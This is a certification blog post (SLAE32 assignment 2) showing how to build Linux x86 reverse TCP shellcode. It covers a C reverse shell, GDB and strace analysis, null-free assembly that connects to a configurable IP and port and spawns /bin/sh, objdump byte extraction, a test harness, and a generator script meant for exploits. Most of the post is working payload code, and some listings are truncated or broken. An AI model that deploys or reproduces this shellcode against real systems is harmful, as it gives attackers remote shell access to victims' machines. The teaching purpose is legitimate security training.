SLAE32: Creating Reverse TCP Shellcode

The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-990

Assignment #2


  • Explain the process of how to create Reverse TCP Shell shellcode
  • The shellcode should:
    • Reverse connects to configured IP and Port
    • Execs shell on incoming connection
    • The IP address and port number should be easily configurable


To accomplish this I’m going to split this into four phases:

  1. Understand the system calls made by creating and analyzing a C program written by reading the linux programmers documentation that would behave the same way.
  2. Debug the C program to figure out how parameters are being passed around in memory or through registers to make it work.
  3. Writing assembly that can be used as shellcode that does the same thing (meaning it must at least not have any null bytes while still being functional).
  4. Write a wrapper python script that lets you specify a port and it will emmit the full shellcode ready for use.

Phase 1: Writing a Reverse TCP shell in C

Just as with the TCP Bind shell research (which you can read here => SLAE32: Creating TCP Bind Shellcode) I read up on what system calls are required to reverse connect back out to an IP address and port.

It appears that the reverse shell should be simpler than the bind shell. The procedure for making the connection should look similar to:


The prototypes of the functions that we will want to call are in the following order below (with the man page link referenced):

/* */
int socket(int domain, int type, int protocol);
/* */
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
/* */
int dup2(int oldfd, int newfd);
/* */
int execve(const char *filename, char *const argv[], char *const envp[]);

I wrote the following C program that creates this reverse shell and compiled and ran it to confirm it functions properly.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define NULL 0

int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int dup2(int oldfd, int newfd);
int execve(const char *filename, char *const argv[], char *const envp[]);
int close(int fd);

int main() {
    char* address = "";
    int port = 6789;
    /* this creates a new socket but it has no address assigned to it yet */
    int sockfd = socket(AF_INET /* 2 */, SOCK_STREAM /* 1 */, 0);

    /* create sockaddr_in structure for use with connect function */
    struct sockaddr_in sock_in;
    sock_in.sin_family = AF_INET;
    sock_in.sin_addr.s_addr = inet_addr(address);
    sock_in.sin_port = htons(port);

    /* perform connect to target IP address and port */
    connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));

    /* duplicate file descriptors for STDIN/STDOUT/STDERR */
    for (int n = 0; n <= 2; ++n) {
        dup2(sockfd, n);

    /* execute /bin/sh */
    execve("/bin/sh", NULL, NULL);


    return 0;

Using netcat to listen on port 6789

Building and running reverse shell

Receiving reverse shell

Phase 2: Understanding how parameters are passed around using strace and GDB

The idea of debugging this was to set a breakpoint at each system call and analyze the registers and stack to see what is needed at the point of the call. With this information we can then come up with our own way to get the same values setup properly in a shellcode safe manner.

We can get a quick view of the calls with strace as seen here (this is useful and is helpful when looking at the assembly dump in GDB). In most cases, you can see the value of each parameter that was used to the function calls which would be either on the stack or in one of the registers. In the case of a parameter value that is enclosed in curly braces {} this is likely a pointer to a struct that resides on the stack.

[sengen@manjaro-x86 assignment2]$ strace -e socket,connect,dup2,execve ./rev_shell
execve("./rev_shell", ["./rev_shell"], 0xbfd4efe8 /* 55 vars */) = 0
connect(3, {sa_family=AF_INET, sin_port=htons(6789), sin_addr=inet_addr("")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=31304, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
+++ exited with 0 +++

The following is the dump of the main function. I put breakpoints before each function call I was interested in and printed the relevant register or stack information for use when I write my shellcode.

gdb$ disassemble main
Dump of assembler code for function main:
   0x0040068d <+0>:	lea    ecx,[esp+0x4]
   0x00400691 <+4>:	and    esp,0xfffffff0
   0x00400694 <+7>:	push   DWORD PTR [ecx-0x4]
   0x00400697 <+10>:	push   ebp
   0x00400698 <+11>:	mov    ebp,esp
   0x0040069a <+13>:	push   ebx
   0x0040069b <+14>:	push   ecx
   0x0040069c <+15>:	sub    esp,0x30
   0x0040069f <+18>:	call   0x400590 <__x86.get_pc_thunk.bx>
   0x004006a4 <+23>:	add    ebx,0x195c
   0x004006aa <+29>:	mov    eax,gs:0x14
   0x004006b0 <+35>:	mov    DWORD PTR [ebp-0xc],eax
   0x004006b3 <+38>:	xor    eax,eax
   0x004006b5 <+40>:	lea    eax,[ebx-0x17cc]
   0x004006bb <+46>:	mov    DWORD PTR [ebp-0x28],eax
   0x004006be <+49>:	mov    DWORD PTR [ebp-0x24],0x1a85
   0x004006c5 <+56>:	sub    esp,0x4
   ; socket --------------------------------------------------------------------------
   0x004006c8 <+59>:	push   0x0
   0x004006ca <+61>:	push   0x1
   0x004006cc <+63>:	push   0x2
   0x004006ce <+65>:	call   0x400500 <socket@plt>
   ; gdb$ x/3w $esp
   ; 0xbffff010:	0x00000002	0x00000001	0x00000000
   ; parameters:
   ; 0x00000002 = AF_INET
   ; 0x00000001 = SOCK_STREAM
   ; 0x00000000 = IPPROTO_IP
   ; ---------------------------------------------------------------------------------

   ; connect -------------------------------------------------------------------------
   0x004006d3 <+70>:	add    esp,0x10
   0x004006d6 <+73>:	mov    DWORD PTR [ebp-0x20],eax
   0x004006d9 <+76>:	mov    WORD PTR [ebp-0x1c],0x2
   0x004006df <+82>:	sub    esp,0xc
   0x004006e2 <+85>:	push   DWORD PTR [ebp-0x28]
   0x004006e5 <+88>:	call   0x400510 <inet_addr@plt>
   0x004006ea <+93>:	add    esp,0x10
   0x004006ed <+96>:	mov    DWORD PTR [ebp-0x18],eax
   0x004006f0 <+99>:	mov    eax,DWORD PTR [ebp-0x24]
   0x004006f3 <+102>:	movzx  eax,ax
   0x004006f6 <+105>:	sub    esp,0xc
   0x004006f9 <+108>:	push   eax
   0x004006fa <+109>:	call   0x4004d0 <htons@plt>
   0x004006ff <+114>:	add    esp,0x10
   0x00400702 <+117>:	mov    WORD PTR [ebp-0x1a],ax
   0x00400706 <+121>:	sub    esp,0x4
   0x00400709 <+124>:	push   0x10
   0x0040070b <+126>:	lea    eax,[ebp-0x1c]
   0x0040070e <+129>:	push   eax
   0x0040070f <+130>:	push   DWORD PTR [ebp-0x20]
   0x00400712 <+133>:	call   0x400520 <connect@plt>
   ; gdb$ x/3w $esp
   ; 0xbffff010:	0x00000003	0xbffff03c	0x00000010
   ; parameters:
   ; 0x00000003 = sockfd
   ; 0xbffff03c = address of sockaddr struct
   ; gdb$ x/8c 0xbffff03c
   ; 0xbffff03c:	0x2	0x0	0x1a	0x85	0xc0	0xa8	0x1	0x7a
   ; parameters:
   ; 0x2	0x0 = AF_INET
   ; 0x1a	0x85 = Port number (6789)
   ; 0xc0	0xa8	0x1	0x7a = IPv4 address (

   gdb$ x/13b $ebp-0x18
0xbffff030:	0xc0	0xa8	0x01	0x7a	0xf4	0xf0	0xff	0xbf
0xbffff038:	0xfc	0xf0	0xff	0xbf	0x00
   ; ---------------------------------------------------------------------------------

   ; dup2 ----------------------------------------------------------------------------
   0x00400717 <+138>:	add    esp,0x10
   0x0040071a <+141>:	mov    DWORD PTR [ebp-0x2c],0x0
   0x00400721 <+148>:	jmp    0x400738 <main+171>
   0x00400723 <+150>:	sub    esp,0x8
   0x00400726 <+153>:	push   DWORD PTR [ebp-0x2c]
   0x00400729 <+156>:	push   DWORD PTR [ebp-0x20]
   0x0040072c <+159>:	call   0x4004c0 <dup2@plt>
   ; gdb$ x/2w $esp
   ; 0xbffff010:	0x00000003	0x00000000
   ; gdb$ x/2w $esp
   ; 0xbffff010:	0x00000003	0x00000001
   ; gdb$ x/2w $esp
   ; 0xbffff010:	0x00000003	0x00000002
   ; parameters:
   ; 0x00000003 = oldfd
   ; 0x0000000[0-2] = newfd
   ; ---------------------------------------------------------------------------------

   ; execve --------------------------------------------------------------------------
   0x00400731 <+164>:	add    esp,0x10
   0x00400734 <+167>:	add    DWORD PTR [ebp-0x2c],0x1
   0x00400738 <+171>:	cmp    DWORD PTR [ebp-0x2c],0x2
   0x0040073c <+175>:	jle    0x400723 <main+150>
   0x0040073e <+177>:	sub    esp,0x4
   0x00400741 <+180>:	push   0x0
   0x00400743 <+182>:	push   0x0
   0x00400745 <+184>:	lea    eax,[ebx-0x17be]
   0x0040074b <+190>:	push   eax
   0x0040074c <+191>:	call   0x4004f0 <execve@plt>
   ; gdb$ x/a $esp
   ; 0xbffff010:	0x400842 => "/bin/sh"
   ; gdb$ x/2c $esp+4
   ; 0xbffff014:	0x0 0x0
   ; parameters:
   ; 0x4008a4 = pointer to filename on stack
   ; 0x0 = argv[]
   ; 0x0 = anvp[]
   ; ---------------------------------------------------------------------------------

   0x00400751 <+196>:	add    esp,0x10
   0x00400754 <+199>:	sub    esp,0xc
   0x00400757 <+202>:	push   DWORD PTR [ebp-0x20]
   0x0040075a <+205>:	call   0x400530 <close@plt>
   0x0040075f <+210>:	add    esp,0x10
   0x00400762 <+213>:	mov    eax,0x0
   0x00400767 <+218>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0040076a <+221>:	xor    edx,DWORD PTR gs:0x14
   0x00400771 <+228>:	je     0x400778 <main+235>
   0x00400773 <+230>:	call   0x400800 <__stack_chk_fail_local>
   0x00400778 <+235>:	lea    esp,[ebp-0x8]
   0x0040077b <+238>:	pop    ecx
   0x0040077c <+239>:	pop    ebx
   0x0040077d <+240>:	pop    ebp
   0x0040077e <+241>:	lea    esp,[ecx-0x4]
   0x00400781 <+244>:	ret    
End of assembler dump.

Phase 3: Writing shellcode that creates a TCP reverse shell

Now that we have an understanding of what is happening at an assembly level behind the scenes we will convert it into usable shellcode. Things to keep in mind here is that we cannot have any null bytes, size matters, and that the target address and port number should be configurable.


We start by establishing a socket using socketcall. This will return to us a sockfd identifier that we will need to save for use in future calls.

xor eax, eax        ; zero out eax
mov ebx, eax        ; zero out ebx
push eax            ; push 0 to stack (protocol: 0 (nonblocking))
mov al, 0x66        ; socketcall
mov bl, 1           ; sys_socket
push ebx            ; push 1 to stack (type: SOCK_STREAM)
push 2              ; domain: AF_INET
mov ecx, esp        ; save pointer to stack
int 0x80


We now connect to a target IP address and port. In this example I’m using the IP address and port 6789. These values must be in network byte order and I have written a script to generate these values for you here =>

mov edi,eax         ; save sockfd
mov al,0x66         ; socketcall
mov bl,3            ; sys_connect

push 0x7a01a8c0     ; ip address (  ; sockaddr_in struct
push word 0x851a    ; port number (6789)          ; sockaddr_in struct
push word 2         ; AF_INET                     ; sockaddr_in struct
mov ecx,esp         ; save pointer to struct

push 0x10           ; push struct length
push ecx            ; push pointer to struct
push edi            ; push sockfd
mov ecx,esp         ; save pointer to stack
int 0x80


The dup2 function will duplicate the STDOUT/STDIN/STDERR file descriptors onto the sockfd. This will allow all output to be seen on the sockfd from the connect so the receiver of the reverse shell can see all output.

xor ecx,ecx         ; zero out ecx
    mov ebx,edi
    mov al, 0x3f        ; dup2
    int 0x80            
    mov al,0x3f         ; dup2
    inc ecx             ; increment ecx until we hit 2
    cmp ecx, 2          ; test if we're at 2
    jle dup2_loop       ; if not, keep calling dup2


Finally, we actually exec /bin/sh to complete the reverse shell. At this point the target of the reverse shell should be able to enter commands and see responses.

mov al,0xb          ; execve
xor edx,edx         ; zero out edx
push edx            ; push edx to stack to terminate string
push 0x68732f6e     ; n/sh
push 0x69622f2f     ; //bi
mov ebx, esp        ; save pointer to stack to ecx
mov ecx, edx        ; argv[]
;mov edx, edx       ; envp[]
int 0x80

Using objdump we can verify no null bytes are in the assembly we just wrote

[sengen@manjaro-x86 assignment2]$ objdump -d ./rev_shell_asm -M intel
./rev_shell_asm:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	89 c3                	mov    ebx,eax
 8048064:	50                   	push   eax
 8048065:	b0 66                	mov    al,0x66
 8048067:	b3 01                	mov    bl,0x1
 8048069:	53                   	push   ebx
 804806a:	6a 02                	push   0x2
 804806c:	89 e1                	mov    ecx,esp
 804806e:	cd 80                	int    0x80
 8048070:	89 c7                	mov    edi,eax
 8048072:	b0 66                	mov    al,0x66
 8048074:	b3 03                	mov    bl,0x3
 8048076:	68 c0 a8 01 7a       	push   0x7a01a8c0
 804807b:	66 68 1a 85          	pushw  0x851a
 804807f:	66 6a 02             	pushw  0x2
 8048082:	89 e1                	mov    ecx,esp
 8048084:	6a 10                	push   0x10
 8048086:	51                   	push   ecx
 8048087:	57                   	push   edi
 8048088:	89 e1                	mov    ecx,esp
 804808a:	cd 80                	int    0x80
 804808c:	31 c9                	xor    ecx,ecx
 804808e:	89 fb                	mov    ebx,edi
 8048090:	b0 3f                	mov    al,0x3f

08048092 <dup2_loop>:
 8048092:	cd 80                	int    0x80
 8048094:	b0 3f                	mov    al,0x3f
 8048096:	41                   	inc    ecx
 8048097:	83 f9 02             	cmp    ecx,0x2
 804809a:	7e f6                	jle    8048092 <dup2_loop>
 804809c:	b0 0b                	mov    al,0xb
 804809e:	31 d2                	xor    edx,edx
 80480a0:	52                   	push   edx
 80480a1:	68 6e 2f 73 68       	push   0x68732f6e
 80480a6:	68 2f 2f 62 69       	push   0x69622f2f
 80480ab:	89 e3                	mov    ebx,esp
 80480ad:	89 d1                	mov    ecx,edx
 80480af:	cd 80                	int    0x80
 80480b1:	b0 06                	mov    al,0x6
 80480b3:	89 fb                	mov    ebx,edi
 80480b5:	cd 80                	int    0x80

Source Code
You can grab the source code for both the C and assembly programs from the following location:

We can extract the bytes with objdump

[sengen@manjaro-x86 assignment2]$ objdump -d ./rev_shell_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Add it to a test C program

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;


Start listening with netcat

Execute reverse shell shellcode

Client received shell and can execute commands

Phase 4: Write a wrapper python script

I wrote a helper python script that will generate the shellcode with target IP address and port.

[sengen@sengen assignment2]$ python 
Usage: [options]

Generates Reverse TCP Shell shellcode.

  -h, --help            show this help message and exit
  -i IP_ADDRESS, --ip-address=IP_ADDRESS
                        IP address to connect back to
  -p PORT, --port=PORT  Port to connect back to

Generating shellcode that can used in exploit or C program

[sengen@sengen assignment2]$ python -i -p 6789
comments powered by Disqus